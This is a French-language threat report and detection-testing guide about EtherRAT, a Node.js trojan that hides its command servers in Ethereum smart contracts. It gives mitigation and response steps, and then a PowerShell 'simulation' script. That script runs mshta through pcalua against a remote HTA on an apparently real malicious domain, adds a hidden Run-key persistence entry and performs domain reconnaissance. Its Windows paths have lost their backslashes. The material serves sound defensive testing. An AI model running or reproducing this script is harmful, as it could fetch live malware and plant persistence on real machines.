EtherRAT & Module SYS_INFO : C2 sur Ethereum (EtherHiding), Sélection de Cibles, Balises Similaires à un CDN

Résumé

EtherRAT est un cheval de Troie distant basé sur Node.js qui résout ses points d’extrémité de commande et de contrôle à partir de contrats intelligents Ethereum en utilisant une approche dite d’“EtherHiding”. Il se mélange au trafic web normal en configurant ses balises pour ressembler à des requêtes CDN bénignes, tout en ciblant des données de grande valeur telles que les portefeuilles de crypto-monnaies et les identifiants cloud. L’accès initial est généralement provoqué par de l’ingénierie sociale de type ClickFix ou par de fausses sollicitations du support technique informatique qui déclenchent l’exécution malveillante d’un fichier HTA via pcalua.exe et mshta.exe.

Enquête

L’eSentire Threat Response Unit a observé une chaîne de chargeur multi-étapes comprenant un flux de travail de décryptage AES-256-CBC, une persistance via une valeur registre HKCU Run, et un module SYS_INFO responsable d’un profilage large de l’hôte. EtherRAT contacte plusieurs fournisseurs publics de RPC d’Ethereum pour localiser le contrat intelligent pertinent, puis dérive des URL de type CDN et les interroge pour des missions et des commandes ultérieures, renforçant ainsi son déguisement de “trafic légitime”.

Atténuation

Utilisez AppLocker ou WDAC pour bloquer ou contrôler étroitement pcalua.exe et mshta.exe, et restreignez le dialogue Exécuter de Windows via les stratégies de groupe. Dans la mesure du possible, limitez ou bloquez l’accès aux infrastructures RPC crypto publiques connues et alertez sur une utilisation Ethereum RPC inattendue depuis des points d’accès qui n’en ont pas besoin. Déployez des contrôles d’endpoint capables de détecter les chevaux de Troie basés sur Node.js et surveillez les motifs de balisage anormaux qui imitent le comportement de récupération de CDN vers les domaines identifiés.

Réponse

En cas de détection d’activité d’EtherRAT, isolez le point d’accès, terminez le processus en cours et supprimez l’entrée de persistance HKCU Run ainsi que tout artefact déposé. Effectuez une analyse forensic complète pour confirmer qu’aucune autre charge utile n’a été mise en scène, et faites pivoter des crédences exposées—en priorisant les secrets de portefeuilles de crypto-monnaies et les clés de services cloud. Étendez les recherches dans tout l’environnement pour des recherches similaires Ethereum-RPC et des comportements de balisage de type CDN pour évaluer une éventuelle propagation.

Exécution de Simulation

Prérequis : La vérification préalable de la télémétrie et de la base de référence doit avoir été réussie.

Justification : Cette section détaille l’exécution précise de la technique d’attaque (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés mèneront à une mauvaise interprétation.

• Narrative et Commandes d’Attaque :

  1. Accès Initial – Installateur ClickFix : L’attaquant utilise un installateur ClickFix malveillant qui exécute un cmd.exe caché qui appelle pcalua.exe.
  2. Exécution Indirecte : pcalua.exe est instruit de lancer mshta.exe contre un fichier HTA distant hébergé sur https://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Ce script HTA charge la charge utile EtherRAT.
  3. Configuration de la Persistance : L’installateur ajoute une Run valeur au registre sous HKCUSoftwareMicrosoftWindowsCurrentVersionRun pointant vers une chaîne d’exécution conhost.exe → node.exe sécurisant le démarrage du logiciel malveillant lors de l’ouverture de session.
  4. Reconnaissance de Domaine : Parallèlement, une commande PowerShell est exécutée pour lire le nom de domaine de la machine, signalant à l’attaquant que l’hôte est joint au domaine.

  Les trois lignes de commande sont exécutées à partir d’une seule instance cmd.exe cachée, correspondant à la règle Sigma indicateur1/indicateur2 or indicateur3 combinaison.

• Script de Test de Régression : Le script ci-dessous reproduit exactement les lignes de commande (les chemins spécifiques à l’utilisateur sont résolus via les variables d’environnement).

  # -------------------------------------------------------------
  # Simulation d'Accès Initial EtherRAT – Enrobeur PowerShell
  # -------------------------------------------------------------
  $username = $env:USERNAME
  $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  $conhostPath = "$env:WINDIRSystem32conhost.exe"
  $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
  $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
  
  # 1. Indicateur 1 – pcalua -> mshta
  $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
  
  # 2. Indicateur 2 – Clé de marché avec chaîne conhost
  $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
  $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
  
  # 3. Indicateur 3 – Saisie domaine PowerShell
  $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
  $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
  
  Write-Host "`n[+] Commandes de simulation émises. Vérifiez le SIEM pour des alertes correspondantes."

• Commandes de Nettoyage : Supprimez l’entrée du registre et effacez tous les fichiers créés par la simulation.

  # -------------------------------------------------------------
  # Nettoyage – suppression de la clé Run et des fichiers temporaires
  # -------------------------------------------------------------
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  
  # Supprimer la valeur clé Run
  if (Test-Path $runKeyPath) {
      Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
      Write-Host "[+] Valeur de registre Run $runValueName retirée"
  }
  
  # Supprimer les fichiers résiduels (s'ils ont été créés)
  $paths = @(
      "$env:TEMPbenign.txt"               # à partir de la base de référence (optionnel)
  )
  foreach ($p in $paths) {
      if (Test-Path $p) { Remove-Item $p -Force }
  }
  
  Write-Host "[+] Nettoyage terminé."